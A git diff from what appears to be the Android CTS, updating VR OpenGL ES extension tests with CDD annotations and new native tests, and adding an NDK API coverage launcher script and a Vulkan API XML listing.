import android.test.ActivityInstrumentationTestCase2;
-import java.nio.IntBuffer;
+import com.android.compatibility.common.util.CddTest;
public class VrExtensionBehaviorTest extends ActivityInstrumentationTestCase2<OpenGLESActivity> {
+ static {
+ System.loadLibrary("ctsvrextensions_jni");
+ }
private static final int EGL_CONTEXT_PRIORITY_HIGH_IMG = 0x3101;
private static final int EGL_CONTEXT_PRIORITY_MEDIUM_IMG = 0x3102;
@@ -52,8 +55,9 @@
/**
* Tests that protected content contexts and surfaces can be created.
*/
+ @CddTest(requirement="7.9.2/C-1-6")
public void testProtectedContent() throws Throwable {
- mActivity = getGlEsActivity(1, 1, 0, 0);
+ mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 1, 0, 0);
if (!mActivity.supportsVrHighPerformance())
return;
@@ -76,8 +80,9 @@
/**
* Tests that textures can be marked as protected.
*/
+ @CddTest(requirement="7.9.2/C-1-8")
public void testProtectedTextures() throws Throwable {
- mActivity = getGlEsActivity(2, 1, 0, 0);
+ mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_PROTECTEDTEXTURES, 1, 0, 0);
if (!mActivity.supportsVrHighPerformance())
return;
@@ -103,6 +108,7 @@
/**
* Tests that context priority can be set to high.
*/
+ @CddTest(requirement="7.9.2/C-1-6")
public void testContextPriorityHigh() throws Throwable {
runContextPriorityTest(EGL_CONTEXT_PRIORITY_HIGH_IMG);
}
@@ -110,6 +116,7 @@
/**
* Tests that context priority can be set to medium.
*/
+ @CddTest(requirement="7.9.2/C-1-6")
public void testContextPriorityMedium() throws Throwable {
runContextPriorityTest(EGL_CONTEXT_PRIORITY_MEDIUM_IMG);
}
@@ -117,6 +124,7 @@
/**
* Tests that context priority can be set to low.
*/
+ @CddTest(requirement="7.9.2/C-1-6")
public void testContextPriorityLow() throws Throwable {
runContextPriorityTest(EGL_CONTEXT_PRIORITY_LOW_IMG);
}
@@ -124,9 +132,10 @@
/**
* Tests that context priority can be set to low.
*/
+ @CddTest(requirement="7.9.2/C-1-6")
public void testMutableRenderBuffer() throws Throwable {
- mActivity = getGlEsActivity(1, 0, 0, 1);
+ mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 0, 0, 1);
if (!mActivity.supportsVrHighPerformance())
return;
@@ -155,10 +164,50 @@
}
/**
+ * Test that a layered EGLImage can be created and attached to a FBO.
+ * For more information, see the EGL_image_array spec:
+ * https://www.khronos.org/registry/OpenGL/extensions/EXT/EXT_EGL_image_array.txt
+ */
+ @CddTest(requirement="7.9.2/C-1-8,C-1-10")
+ public void testEglImageArray() throws Throwable {
+ mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 0, 0, 0);
+ if (!mActivity.supportsVrHighPerformance())
+ return;
+
+ assertEquals(GLES32.GL_NO_ERROR, mActivity.glGetError());
+
+ mActivity.runOnGlThread(new Runnable() {
+ public void run() {
+ nativeTestEglImageArray();
+ }
+ });
+ }
+
+ /**
+ * Test that an external buffer can be created, written to, and read from.
+ * For more information, see the GL_EXT_external_buffer spec:
+ * https://www.khronos.org/registry/OpenGL/extensions/EXT/EXT_external_buffer.txt
+ */
+ @CddTest(requirement="7.9.2/C-1-8")
+ public void testExternalBuffer() throws Throwable {
+ mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 0, 0, 0);
+ if (!mActivity.supportsVrHighPerformance())
+ return;
+
+ assertEquals(GLES32.GL_NO_ERROR, mActivity.glGetError());
+
+ mActivity.runOnGlThread(new Runnable() {
+ public void run() {
+ nativeTestExternalBuffer();
+ }
+ });
+ }
+
+ /**
* Runs a context priority test.
*/
private void runContextPriorityTest(int priority) throws Throwable {
- mActivity = getGlEsActivity(1, 0, priority, 0);
+ mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 0, priority, 0);
if (!mActivity.supportsVrHighPerformance())
return;
@@ -181,4 +230,7 @@
EGL14.eglSwapBuffers(EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY),
EGL14.eglGetCurrentSurface(EGL14.EGL_DRAW));
}
+
+ private static native boolean nativeTestEglImageArray();
+ private static native boolean nativeTestExternalBuffer();
}
diff --git a/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java b/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java
index bdcf5dc..9fd01b1 100644
--- a/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java
+++ b/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java
@@ -26,12 +26,7 @@
import android.os.RemoteException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
-import java.util.Collections;
-import java.util.LinkedList;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
import android.provider.Settings;
-import com.android.compatibility.common.util.SystemUtil;
import com.android.cts.verifier.vr.MockVrListenerService;
public class VrSetFIFOThreadTest extends ActivityInstrumentationTestCase2<OpenGLESActivity> {
@@ -39,18 +34,11 @@
private ActivityManager mActivityManager;
private Context mContext;
private String mOldVrListener;
- private boolean mPersistentVrModeEnabled;
private static final int SCHED_OTHER = 0;
private static final int SCHED_FIFO = 1;
private static final int SCHED_RESET_ON_FORK = 0x40000000;
public static final String ENABLED_VR_LISTENERS = "enabled_vr_listeners";
private static final String TAG = "VrSetFIFOThreadTest";
- private static final String DUMP_VRMANAGER = "dumpsys vrmanager";
- private static final Pattern sVrManagerModePattern =
- Pattern.compile("Persistent VR mode is currently: (\\w+).*");
-
- /** Temp storage used for parsing. */
- final LinkedList<String> mDumpLines = new LinkedList<>();
public VrSetFIFOThreadTest() {
super(OpenGLESActivity.class);
@@ -60,14 +48,7 @@
public void setUp() throws Exception {
super.setUp();
mContext = getInstrumentation().getTargetContext();
- mOldVrListener = Settings.Secure.getString(mContext.getContentResolver(),
- ENABLED_VR_LISTENERS);
- String result = SystemUtil.runShellCommand(getInstrumentation(), DUMP_VRMANAGER);
- mDumpLines.clear();
- Collections.addAll(mDumpLines, result.split("\\n"));
- if ("enabled".equals(parseVrManagerDumpsys(mDumpLines))) {
- mPersistentVrModeEnabled = true;
- }
+ mOldVrListener = Settings.Secure.getString(mContext.getContentResolver(), ENABLED_VR_LISTENERS);
}
@Override
@@ -77,17 +58,6 @@
super.tearDown();
}
- private String parseVrManagerDumpsys(LinkedList<String> dump) {
- while (!dump.isEmpty()) {
- final String line = dump.pop().trim();
- Matcher matcher = sVrManagerModePattern.matcher(line);
- if (matcher.matches()) {
- return matcher.group(1);
- }
- }
- return null;
- }
-
private void setIntent(int viewIndex, int createProtected,
int priorityAttribute, int mutableAttribute) {
Intent intent = new Intent();
@@ -99,11 +69,7 @@
}
public void testSetVrThreadAPISuccess() throws Throwable {
- // This API is not meant for persistent vr mode.
- if (mPersistentVrModeEnabled) {
- return;
- }
- setIntent(1, 1, 0, 0);
+ setIntent(OpenGLESActivity.RENDERER_BASIC, 1, 0, 0);
ComponentName requestedComponent = new ComponentName(mContext, MockVrListenerService.class);
Settings.Secure.putString(mContext.getContentResolver(),
ENABLED_VR_LISTENERS,
@@ -126,11 +92,7 @@
}
public void testSetVrThreadAPIFailure() throws Throwable {
- // This API is not meant for persistent vr mode.
- if (mPersistentVrModeEnabled) {
- return;
- }
- setIntent(1, 1, 0, 0);
+ setIntent(OpenGLESActivity.RENDERER_BASIC, 1, 0, 0);
ComponentName requestedComponent = new ComponentName(mContext, MockVrListenerService.class);
Settings.Secure.putString(mContext.getContentResolver(),
ENABLED_VR_LISTENERS,
diff --git a/tools/cts-api-coverage/Android.mk b/tools/cts-api-coverage/Android.mk
index 3f66961..c66f7d4 100644
--- a/tools/cts-api-coverage/Android.mk
+++ b/tools/cts-api-coverage/Android.mk
@@ -20,8 +20,11 @@
LOCAL_IS_HOST_MODULE := true
LOCAL_MODULE_CLASS := EXECUTABLES
LOCAL_MODULE := cts-api-coverage
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-common-util-devicesidelib
LOCAL_SRC_FILES := etc/$(LOCAL_MODULE)
LOCAL_ADDITIONAL_DEPENDENCIES := $(HOST_OUT_JAVA_LIBRARIES)/$(LOCAL_MODULE)$(COMMON_JAVA_PACKAGE_SUFFIX)
+
include $(BUILD_PREBUILT)
# the other stuff
diff --git a/tools/cts-api-coverage/etc/ndk-api-report b/tools/cts-api-coverage/etc/ndk-api-report
new file mode 100755
index 0000000..5d12bd3
--- /dev/null
+++ b/tools/cts-api-coverage/etc/ndk-api-report
@@ -0,0 +1,46 @@
+#!/bin/bash
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Set up prog to be the path of this script, including following symlinks,
+# and set up progdir to be the fully-qualified pathname of its directory.
+prog="$0"
+while [ -h "${prog}" ]; do
+ newProg=`/bin/ls -ld "${prog}"`
+ newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
+ if expr "x${newProg}" : 'x/' >/dev/null; then
+ prog="${newProg}"
+ else
+ progdir=`dirname "${prog}"`
+ prog="${progdir}/${newProg}"
+ fi
+done
+oldwd=`pwd`
+progdir=`dirname "${prog}"`
+cd "${progdir}"
+progdir=`pwd`
+prog="${progdir}"/`basename "${prog}"`
+cd "${oldwd}"
+
+libdir=`dirname $progdir`/framework
+
+javaOpts=""
+while expr "x$1" : 'x-J' >/dev/null; do
+ opt=`expr "$1" : '-J\(.*\)'`
+ javaOpts="${javaOpts} -${opt}"
+ shift
+done
+
+exec java $javaOpts -cp $libdir/cts-api-coverage.jar com.android.cts.apicoverage.NdkApiXmlReport "$@"
diff --git a/tools/cts-api-coverage/etc/ndk-api.xml b/tools/cts-api-coverage/etc/ndk-api.xml
new file mode 100644
index 0000000..ec8eff1
--- /dev/null
+++ b/tools/cts-api-coverage/etc/ndk-api.xml
@@ -0,0 +1,3407 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<api>
+ <package name="ndk">
+ <class abstract="false" deprecated="not deprecated" final="true" name="libvulkan.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateBufferView" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkResetCommandBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceQueueFamilyProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateComputePipelines" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyImageView" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceSurfaceSupportKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkResetEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdEndQuery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdExecuteCommands" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroySwapchainKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceFormatProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyShaderModule" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetInstanceProcAddr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBindDescriptorSets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyDescriptorPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyInstance" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreatePipelineLayout" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkQueueBindSparse" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBeginQuery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdCopyBufferToImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceSurfaceFormatsKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdResolveImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetStencilCompareMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetDeviceQueue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBeginRenderPass" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetImageSubresourceLayout" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateInstance" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkFlushMappedMemoryRanges" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyPipeline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBindIndexBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyDescriptorSetLayout" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkAllocateMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroySemaphore" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetSwapchainImagesKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDraw" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBlitImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkBeginCommandBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkAllocateCommandBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroySampler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkFreeCommandBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkEnumerateDeviceExtensionProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetRenderAreaGranularity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkResetFences" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetDepthBias" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetBlendConstants" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkUpdateDescriptorSets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkQueueSubmit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkQueuePresentKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateGraphicsPipelines" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkEndCommandBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkInvalidateMappedMemoryRanges" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyCommandPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkEnumeratePhysicalDevices" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdFillBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkEnumerateDeviceLayerProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceMemoryProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPipelineCacheData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkMergePipelineCaches" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdClearDepthStencilImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDispatch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdWriteTimestamp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateDevice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetBufferMemoryRequirements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetDeviceProcAddr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdCopyImageToBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceSurfacePresentModesKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkEnumerateInstanceLayerProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdClearAttachments" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdEndRenderPass" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceSurfaceCapabilitiesKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkAllocateDescriptorSets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkFreeDescriptorSets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyFence" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyRenderPass" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetEventStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBindPipeline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceFeatures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreatePipelineCache" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetQueryPoolResults" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkMapMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkSetEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateDescriptorPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetFenceStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdCopyBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetViewport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyDevice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkBindBufferMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateQueryPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetImageMemoryRequirements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroySurfaceKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceSparseImageFormatProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBVULKAN" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkQueueWaitIdle" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateAndroidSurfaceKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkAcquireNextImageKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdCopyQueryPoolResults" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyPipelineLayout" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateRenderPass" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetStencilWriteMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdResetQueryPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateCommandPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateDescriptorSetLayout" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdClearColorImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetScissor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetImageSparseMemoryRequirements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetStencilReference" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdCopyImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdNextSubpass" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkWaitForFences" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkBindImageMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdPipelineBarrier" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateImageView" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkEnumerateInstanceExtensionProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkResetDescriptorPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdWaitEvents" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdUpdateBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceImageFormatProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkResetCommandPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDrawIndexedIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyBufferView" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdPushConstants" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateSampler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyPipelineCache" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBindVertexBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDrawIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyQueryPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDispatchIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetLineWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateFence" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDrawIndexed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkUnmapMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateSwapchainKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateShaderModule" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetDepthBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
